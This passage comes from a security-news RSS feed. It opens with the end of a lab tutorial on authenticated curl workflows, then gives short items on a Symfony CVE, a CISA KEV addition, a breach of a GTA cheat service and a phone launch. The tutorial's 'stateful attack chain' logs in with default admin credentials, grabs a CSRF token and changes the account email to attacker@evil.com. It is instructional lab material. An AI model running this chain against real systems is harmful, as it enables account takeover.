print(json.load(sys.stdin)['access_token'])")<br>echo "Token: $ACCESS_TOKEN"</pre><pre>{<br>    "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.lab_token_demo",<br>    "token_type": "Bearer",<br>    "expires_in": 3600,<br>    "scope": "read write"<br>}<br>Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.lab_token_demo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cGao_-pTH0l3RCEERIotjw.png"><figcaption>OAuth2 token request → JSON response → shell variable extraction in three commands. The token is now in $ACCESS_TOKEN and ready to travel in every Authorization: Bearer header for the rest of the session.</figcaption></figure><p>The token response gives you the token itself, its type, expiry in seconds, and the scopes it covers. Pipe through python3 -m json.tool to read it cleanly — raw token responses are a single line of JSON.</p><p><strong>Step 2: Use the access token:</strong></p><pre>curl -s \<br>  -H "Authorization: Bearer $ACCESS_TOKEN" \<br>  http://target.com/api/protected-resource</pre><p>Bearer tokens travel in the Authorization header — no cookie jar needed. Treat them like passwords: anyone holding the token can make authenticated requests as that user until it expires. Store them in a shell variable, not in a file on a shared system.</p><p>If a request returns 401 after previously working, the token has expired — the expires_in field in the token response tells you how long it is valid. Request a new one using the same credentials.</p><p>For testing purposes: check whether the token endpoint has rate limiting, whether expired tokens are actually rejected (some applications skip expiry validation), and whether the scope field is enforced server-side or just decorative.</p><h3>The Full Stateful Attack Chain</h3><p>Pulling it together on a real target. Login, confirm, extract CSRF token, act. This is the skeleton of every multi-step web attack workflow — the specific endpoints change, the pattern does not.</p><pre># 1. Login and capture session<br>curl -s -c jar.txt \<br>  -d "username=admin&amp;password=admin" \<br>  http://10.48.179.222/cookie.php</pre><pre>Login successful. Cookie set.</pre><pre># 2. Confirm authentication<br>curl -s -b jar.txt http://10.48.179.222/cookie.php | grep -i "welcome"</pre><pre>Welcome back, admin!</pre><pre># 3. Fetch CSRF token from settings form<br>CSRF=$(curl -s -b jar.txt http://127.0.0.1:8080/settings | \<br>  grep -oP '(?&lt;=name="csrf_token" value=")[^"]*')</pre><pre># 4. Submit action with CSRF token<br>curl -s -b jar.txt \<br>  -d "csrf_token=$CSRF&amp;email=attacker@evil.com" \<br>  <a href="http://127.0.0.1:8080/change-email">http://127.0.0.1:8080/change-email</a></pre><pre>Email updated successfully.<br>User: admin<br>New email: attacker@evil.com</pre><p>The same jar.txt threads through every step. One login, four commands, end-to-end authenticated action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*T1xI6vNi_nBtn9TicAV9kg.png"><figcaption>Real-target login — -c jar.txt captures the session cookie from the THM machine's response.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*Krhypm4pcTzbTjTqvO-WWA.png"><figcaption>One flag swap, -b instead of -c, and the session travels with the request. The server recognizes it and returns authenticated content.</figcaption></figure><p>The two articles on authentication together give you the complete workflow: identify the scheme, authenticate, capture the session, maintain it across requests, and handle CSRF tokens that protect state-changing endpoints. Every login-gated machine on THM/HTB uses some combination of these patterns.</p><p><em>Next: Article 7 — Header Manipulation: Bypasses, Probing, and the Security Audit Nobody Does</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6a0653814a07" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/auth-mastery-part-2-sessions-cookies-and-staying-authenticated-6a0653814a07">Auth Mastery Part 2: Sessions, Cookies, and Staying Authenticated</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-45063 | Symfony incorrect regex (Nessus ID 318121)]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in Symfony. This affects an unknown part. Such manipulation leads to incorrect regular expression.

This vulnerability is documented as CVE-2026-45063. The attack can be executed remotely. There is not any exploit available.

Upgrading ...]]></description>
<link>https://tsecurity.de/de/3564719/sicherheitsluecken/cve-2026-45063-symfony-incorrect-regex-nessus-id-318121/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564719/sicherheitsluecken/cve-2026-45063-symfony-incorrect-regex-nessus-id-318121/</guid>
<pubDate>Tue, 02 Jun 2026 03:52:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/symfony">Symfony</a>. This affects an unknown part. Such manipulation leads to incorrect regular expression.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-45063">CVE-2026-45063</a>. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Adds One Known Exploited Vulnerability to Catalog]]></title>
<description><![CDATA[CISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.

CVE-2024-21182 Oracle WebLogic Server Unspecified Vulnerability

This type of vulnerability is a frequent attack vectors for malicious cyber actors and poses signi...]]></description>
<link>https://tsecurity.de/de/3564053/it-security-nachrichten/cisa-adds-one-known-exploited-vulnerability-to-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564053/it-security-nachrichten/cisa-adds-one-known-exploited-vulnerability-to-catalog/</guid>
<pubDate>Mon, 01 Jun 2026 20:35:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA has added one new vulnerability to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>, based on evidence of active exploitation.</p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-21182" target="_blank">CVE-2024-21182</a> Oracle WebLogic Server Unspecified Vulnerability</li>
</ul>
<p>This type of vulnerability is a frequent attack vectors for malicious cyber actors and poses significant risks to the federal enterprise. </p>
<p><a href="https://www.cisa.gov/binding-operational-directive-22-01">Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities</a> established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the <a href="https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf">BOD 22-01 Fact Sheet</a> for more information.</p>
<p>Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">KEV Catalog vulnerabilities</a> as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the <a href="https://www.cisa.gov/known-exploited-vulnerabilities">specified criteria</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Grand Theft Auto V cheat service gets hacked, exposing thousands of gamers]]></title>
<description><![CDATA[Hackers stole usernames, hashed passwords, and other data from a service that allowed players to cheat in Grand Theft Auto V. This article has been indexed from Security News | TechCrunch Read the original article: Grand Theft Auto V cheat…
Read more →
The post Grand Theft Auto V cheat service ge...]]></description>
<link>https://tsecurity.de/de/3563923/it-security-nachrichten/grand-theft-auto-v-cheat-service-gets-hacked-exposing-thousands-of-gamers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563923/it-security-nachrichten/grand-theft-auto-v-cheat-service-gets-hacked-exposing-thousands-of-gamers/</guid>
<pubDate>Mon, 01 Jun 2026 19:37:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers stole usernames, hashed passwords, and other data from a service that allowed players to cheat in Grand Theft Auto V. This article has been indexed from Security News | TechCrunch Read the original article: Grand Theft Auto V cheat…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/grand-theft-auto-v-cheat-service-gets-hacked-exposing-thousands-of-gamers/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/grand-theft-auto-v-cheat-service-gets-hacked-exposing-thousands-of-gamers/">Grand Theft Auto V cheat service gets hacked, exposing thousands of gamers</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Grand Theft Auto V cheat service gets hacked, exposing thousands of gamers]]></title>
<description><![CDATA[Hackers stole usernames, hashed passwords, and other data from a service that allowed players to cheat in Grand Theft Auto V.]]></description>
<link>https://tsecurity.de/de/3563895/it-nachrichten/grand-theft-auto-v-cheat-service-gets-hacked-exposing-thousands-of-gamers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563895/it-nachrichten/grand-theft-auto-v-cheat-service-gets-hacked-exposing-thousands-of-gamers/</guid>
<pubDate>Mon, 01 Jun 2026 19:32:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hackers stole usernames, hashed passwords, and other data from a service that allowed players to cheat in Grand Theft Auto V.]]></content:encoded>
</item>
<item>
<title><![CDATA[GTA cheat service Atlas Menu hacked as attacker alleges screenshot spying]]></title>
<description><![CDATA[A database containing 64,000 user records was published to GitHub after an attacker claimed to have compromised all Atlas systems This article has been indexed from www.theregister.com – Articles Read the original article: GTA cheat service Atlas Menu hacked as…
Read more →
The post GTA cheat ser...]]></description>
<link>https://tsecurity.de/de/3563414/it-security-nachrichten/gta-cheat-service-atlas-menu-hacked-as-attacker-alleges-screenshot-spying/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563414/it-security-nachrichten/gta-cheat-service-atlas-menu-hacked-as-attacker-alleges-screenshot-spying/</guid>
<pubDate>Mon, 01 Jun 2026 16:38:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A database containing 64,000 user records was published to GitHub after an attacker claimed to have compromised all Atlas systems This article has been indexed from www.theregister.com – Articles Read the original article: GTA cheat service Atlas Menu hacked as…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/gta-cheat-service-atlas-menu-hacked-as-attacker-alleges-screenshot-spying/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/gta-cheat-service-atlas-menu-hacked-as-attacker-alleges-screenshot-spying/">GTA cheat service Atlas Menu hacked as attacker alleges screenshot spying</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Xiaomi 17T India Launch Roundup: Launch Date, Expected Specifications]]></title>
<description><![CDATA[Xiaomi 17T is scheduled to launch in India on June 4. Ahead of its debut, the company has confirmed a MediaTek Dimensity 8500-Ultra chipset, Leica-backed imaging features, a 6,500mAh battery and 67W HyperCharge support. Xiaomi has also teased Leica 5x telephoto photography, HyperAI features and a...]]></description>
<link>https://tsecurity.de/de/3563353/it-nachrichten/xiaomi-17t-india-launch-roundup-launch-date-expected-specifications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563353/it-nachrichten/xiaomi-17t-india-launch-roundup-launch-date-expected-specifications/</guid>
<pubDate>Mon, 01 Jun 2026 16:16:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Xiaomi 17T is scheduled to launch in India on June 4. Ahead of its debut, the company has confirmed a MediaTek Dimensity 8500-Ultra chipset, Leica-backed imaging features, a 6,500mAh battery and 67W HyperCharge support. Xiaomi has also teased Leica 5x telephoto photography, HyperAI features and an eye-care display. While the complete specification sheet has not been r...]]></content:encoded>
</item>
<item>
<title><![CDATA[GTA cheat service Atlas Menu hacked as attacker alleges screenshot spying]]></title>
<description><![CDATA[A database containing 64,000 user records was published to GitHub after an attacker claimed to have compromised all Atlas systems]]></description>
<link>https://tsecurity.de/de/3563343/it-nachrichten/gta-cheat-service-atlas-menu-hacked-as-attacker-alleges-screenshot-spying/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563343/it-nachrichten/gta-cheat-service-atlas-menu-hacked-as-attacker-alleges-screenshot-spying/</guid>
<pubDate>Mon, 01 Jun 2026 16:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A database containing 64,000 user records was published to GitHub after an attacker claimed to have compromised all Atlas systems]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,22ms -->